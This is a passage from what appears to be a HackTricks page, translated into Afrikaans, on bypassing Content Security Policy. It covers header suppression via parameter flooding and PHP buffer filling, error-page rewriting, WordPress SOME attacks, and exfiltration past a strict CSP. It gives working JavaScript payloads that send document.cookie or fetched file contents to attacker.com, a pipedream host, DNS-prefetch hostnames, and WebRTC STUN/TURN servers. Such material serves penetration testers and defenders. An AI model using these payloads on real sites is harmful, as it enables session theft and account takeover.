Volgens die laaste tegniek kommentaar in hierdie video, om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 lêers kan doen). Enige gedefinieerde header() in die PHP webkode sal nie gestuur word weens die fout wat dit sal veroorsaak nie.

PHP antwoordbuffer oorlaai

PHP is bekend vir die buffering van die antwoord tot 4096 bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur genoeg data binne waarskuwings te verskaf, sal die antwoord gestuur word voor die CSP header, wat veroorsaak dat die header geïgnoreer word. Dan bestaan die tegniek basies uit die antwoordbuffer met waarskuwings te vul sodat die CSP header nie gestuur word nie.

Idee van hierdie skrywe.

Herskryf Foutbladsy

Van hierdie skrywe lyk dit of dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) in 'n eindpunt van 'n bladsy misbruik om ander eindpunte van dieselfde oorsprong te misbruik. Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvallerbladsy te laai en dan die aanvallerbladsy te verfris na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik. Op hierdie manier kan die kwesbare eindpunt die opener objek in die payload gebruik om die DOM van die werklike eindpunt te misbruik. Vir meer inligting, kyk:

SOME - Same Origin Method Execution

Boonop het wordpress 'n JSONP eindpunt in /wp-json/wp/v2/users/1?_jsonp=data wat die data wat in die uitvoer gestuur word, reflekteer (met die beperking van slegs letters, syfers en punte).

'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te genereer en dit binne <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> te inkorporeer, let daarop dat hierdie script gelaai sal word omdat dit toegelaat word deur 'self'. Boonop, en omdat WordPress geïnstalleer is, kan 'n aanvaller die SOME-aanval misbruik deur die kwesbare callback eindpunt wat die CSP omseil om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer... Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te interaksie nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekstrapoleer.

Location

Jy kan net die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Jy kan herlei deur 'n meta-tag in te voeg (dit is net 'n herleiding, dit sal nie inhoud lek nie)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP adresse en dit vir later gebruik kas. Jy kan 'n blaaier aanwys om 'n hostname vooraf op te los met: <link rel="dns-prefetch" href="something.com">

Jy kan hierdie gedrag misbruik om sensitiewe inligting via DNS versoeke te exfiltreer:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Nog 'n manier:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:

X-DNS-Prefetch-Control: off

Blykbaar werk hierdie tegniek nie in koplose blaaiers (bots) nie

WebRTC

Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src beleid van die CSP nagaan nie.

Werklik kan jy leak inligting gebruik maak van 'n DNS versoek. Kyk na hierdie kode:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Nog 'n opsie:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Kontroleer CSP-beleide aanlyn

Outomatiese CSP-generering

https://csper.io/docs/generating-content-security-policy

Verwysings

​

Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!

Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek

Regte Tyd Hack Nuus Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Ondersteun HackTricks
PreviousCommand InjectionNextCSP bypass: self + 'unsafe-inline' with Iframes

Last updated